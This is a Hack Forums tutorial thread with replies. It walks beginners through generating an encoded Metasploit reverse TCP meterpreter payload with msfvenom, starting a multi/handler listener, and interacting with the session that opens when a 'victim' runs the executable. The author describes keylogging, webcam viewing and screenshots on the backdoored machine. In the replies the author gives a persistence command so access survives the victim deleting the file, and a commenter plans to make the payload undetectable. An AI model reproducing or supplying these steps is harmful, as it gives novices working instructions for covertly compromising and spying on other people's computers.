[Metasploit] How to create and use a Reverse TCP Shell [Noob Friendly]

[Metasploit] How to create and use a Reverse TCP Shell [Noob Friendly] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [Metasploit] How to create and use a Reverse TCP Shell [Noob Friendly] (/showthread.php?tid=5513376)

Pages: Pages 1 2

[Metasploit] How to create and use a Reverse TCP Shell [Noob Friendly] - ｋａ＄ｈ - Jan 4, 2017

Hello friends, I am hoping this guide can help simplify the process and help people understand the use of a reverse TCP shell to gain remote access to a computer using Metasploit. Once you have a grasp on how it works you can get into more advanced techniques.

>> Before we begin <<

NOTE: This guide is in the perspective of using two machines on the same network. However if you understand this process, there is not much difference between doing this to a computer on a different network.
I will be using Kali Linux, and the victim's machine will be a Windows 10 virtual machine.

What is a Reverse TCP Shell?
A shell is a piece of code which can be used to give its user command execution on another device.
A Reverse Shell is a type of shell which is accessed through a listening port on the user's machine after is has been executed on another.

STEP 1 >> Generate the payload using msfvenom <<

NOTE: I will not be going through how to make your payload fully undetectable as that is not the aim of my tutorial.

1i. To create out payload, we need our computers internal IP address, this can be obtained with the ifconfig command on a terminal. If the victim computer was on another network, you would use your public IP. [https://www.whatismyip.com]
My internal IP is 192.168.0.4.

1ii. Open a terminal and create your payload:

Code 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.4 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o /root/Desktop/payload.exe

Spoiler (Click to View)

Your payload should now be on your desktop.

STEP 2 >> Set up our listener <<

2i. Now we open a terminal and start our Metasploit Framework:

Code 
msfconsole

2ii. Select our exploit:

Code 
use exploit/multi/handler

2iii. Select our payload:

Code 
set PAYLOAD windows/meterpreter/reverse_tcp

2iv. Select LHOST/LPORT:

Code 
set LHOST 192.168.0.4

set LPORT 4444            //Default

Spoiler (Click to View)

2v. Now we start our payload handler:

Code 
exploit -j -z

Spoiler (Click to View)

STEP 3 >> Wait for access <<

3i. Now we wait for our victim to open our executable:
*Victim's machine*
Spoiler (Click to View)

3ii. Once the victim has run the executable, you will see a meterpreter session open on your terminal.

3iii. To interact with the session we use the command:

Code 
sessions -i 1

Spoiler (Click to View)

You now have backdoor access to that computer. 🎉

You can do many things such as spawn a command shell:

You can do things such as:

Capture Keystrokes
Screenshot
View webcam
Make your backdoor persistent
Anything CMD can do

Spoiler (Click to View)

Thanks for reading, hopefully some people learn something from this tutorial! 🤝

* - ๖ۣۜDominate - Jan 4, 2017

Fantastic tutorial my man. You should get this stickied.

* - Mr. Robot - Jan 4, 2017

Been posted 100s of times on here but always good to see people trying with the basics.

* - ｋａ＄ｈ - Jan 4, 2017

(Jan 4, 2017 04:35 AM)๖ۣۜDominate Wrote: Fantastic tutorial my man. You should get this stickied.

yeah oi your a funny guy

(Jan 4, 2017 04:39 AM)Mr. Robot Wrote: Been posted 100s of times on here but always good to see people trying with the basics.

A lot of new people don't go searching for things so it doesn't hurt to have them re-posted for them to see and hopefully learn something, hopefully posted in a clear way too that might be easier for some to learn.

* - setsuna - Jan 4, 2017

This was super easy to follow, thank you very much! Would love to see more tutorials :)
I also recently realized about how important search is here. A lot is here, but it takes some digging to find what I'm looking for.

* - ｋａ＄ｈ - Jan 4, 2017

(Jan 4, 2017 11:09 AM)setsuna Wrote: This was super easy to follow, thank you very much! Would love to see more tutorials :)
I also recently realized about how important search is here. A lot is here, but it takes some digging to find what I'm looking for.

Thanks, will make more in the future ✌

* - Exkodera - Jan 4, 2017

Would you make a tutorial on making the backdoor persistent i'm really interested in that. Cheers!

* - ｋａ＄ｈ - Jan 4, 2017

(Jan 4, 2017 05:13 PM)Exkodera Wrote: Would you make a tutorial on making the backdoor persistent i'm really interested in that. Cheers!

From my example above, once I have opened the meterpreter session I could run the command:

Code 
run persistence -U -i 10 -p 4444 -r 192.168.0.4

Spoiler (Click to View)

It is now persistent!

* - Exkodera - Jan 5, 2017

Thanks man. But what would happen if I restart my kali? How would I proceed into opening the sessions and executing commands?

* - ｋａ＄ｈ - Jan 5, 2017

(Jan 5, 2017 03:02 AM)Exkodera Wrote: Thanks man. But what would happen if I restart my kali? How would I proceed into opening the sessions and executing commands?

Just repeat step 2, this will set up your listener again, you should then see your meterpreter session open again, use the command "sessions" to view it, then you use "sessions -i <number ID off session>" to interact with it again.

* - Exkodera - Jan 5, 2017

Worked perfectly, thanks alot. How about if the victim deletes the payload.exe what happens then?

* - ｋａ＄ｈ - Jan 5, 2017

(Jan 5, 2017 03:19 AM)Exkodera Wrote: Worked perfectly, thanks alot. How about if the victim deletes the payload.exe what happens then?

When you run persistence a script is injected to the victim machine so the file is not needed, as long as you internal IP remains the same it will continue to connect to you.

* - Exkodera - Jan 5, 2017

Sounds fine, thanks alot for your replies and the tutorial!

* - ｋａ＄ｈ - Jan 5, 2017

(Jan 5, 2017 04:10 AM)Exkodera Wrote: Sounds fine, thanks alot for your replies and the tutorial!

All good, hope it was easy to understand 🤝

* - Exkodera - Jan 5, 2017

I'll be looking for tutorials to make the payload FUD and ye it was easy to understand, thanks again.